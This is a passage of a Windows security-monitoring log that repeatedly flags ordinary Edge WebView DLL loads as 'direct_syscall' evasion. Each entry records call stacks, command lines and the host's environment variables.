(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff434a6dba C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff44142774 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff451f5aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff50a7405a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7fff43cc3648 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1403825 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.2146126 +0100 CET + Params: base_address➜ 7fff7a310000, checksum➜ 143041, default_address➜ 7fff7a310000, file_path➜ C:\Windows\System32\TenantRestrictionsPlugin.dll, image_size➜ 118784, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff439782f2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43b0bbc5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff44aa3669 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff43d3ca60 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff425fd752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff425fd6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1403970 + Pid: 2880 + Tid: 5040 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.2249982 +0100 CET + Params: base_address➜ 7fff66740000, checksum➜ 145114, default_address➜ 7fff66740000, file_path➜ C:\Windows\System32\networkexplorer.dll, image_size➜ 110592, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93d47dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93d479fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93d070a7 C:\Windows\System32\combase.dll!Ordinal178|0x7fff93d0695d C:\Windows\System32\combase.dll!Ordinal232|0x7fff93d47181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7fff93c61e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c60b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93c6200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93da836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93da2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7fff93cebb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7fff93ceb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7fff903c3596 C:\Windows\System32\windows.storage.dll!SHCoCreateInstanceWorker|0x7fff902aa988 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7fff902a95d6 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7fff902c30b1 C:\Windows\System32\windows.storage.dll!SHBindToParent|0x7fff90348f3a C:\Windows\System32\windows.storage.dll!SHGetIDListFromObject|0x7fff902c4fe5 C:\Windows\System32\windows.storage.dll!SHParseDisplayName|0x7fff9031e442 C:\Windows\System32\windows.storage.dll!SHGetSetSettings|0x7fff9035e98e C:\Windows\System32\windows.storage.dll!CheckSmartScreenWithAltFile|0x7fff9035fcb3 C:\Windows\System32\windows.storage.dll!CheckSmartScreenWithAltFile|0x7fff9035fbc3 C:\Windows\System32\windows.storage.dll!CheckSmartScreenWithAltFile|0x7fff9035fb58 C:\Windows\System32\windows.storage.dll!CheckSmartScreenWithAltFile|0x7fff902cbad1 C:\Windows\System32\windows.storage.dll!SHILAliasTranslate|0x7fff9046088a C:\Windows\System32\windows.storage.dll!CFSFolder_IsCommonItem|0x7fff90273365 C:\Windows\System32\windows.storage.dll!SHGetKnownFolderIDList_Internal|0x7fff9027271f C:\Windows\System32\windows.storage.dll!SHGetKnownFolderIDList_Internal|0x7fff902722ee C:\Windows\System32\windows.storage.dll!SHGetKnownFolderIDList_Internal|0x7fff902cbaa9 C:\Windows\System32\windows.storage.dll!SHILAliasTranslate|0x7fff902c3503 C:\Windows\System32\windows.storage.dll!SHBindToParent|0x7fff90348f3a C:\Windows\System32\windows.storage.dll!SHGetIDListFromObject|0x7fff902ab091 C:\Windows\System32\windows.storage.dll!SHCreateItemFromParsingName|0x7fff42392e00 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff4239297a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff42391fb0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f5328 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:32+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1404102 + Pid: 2880 + Tid: 5040 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.2369768 +0100 CET + Params: base_address➜ 7fff5e180000, checksum➜ 801686, default_address➜ 7fff5e180000, file_path➜ C:\Windows\System32\Windows.FileExplorer.Common.dll, image_size➜ 765952, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming 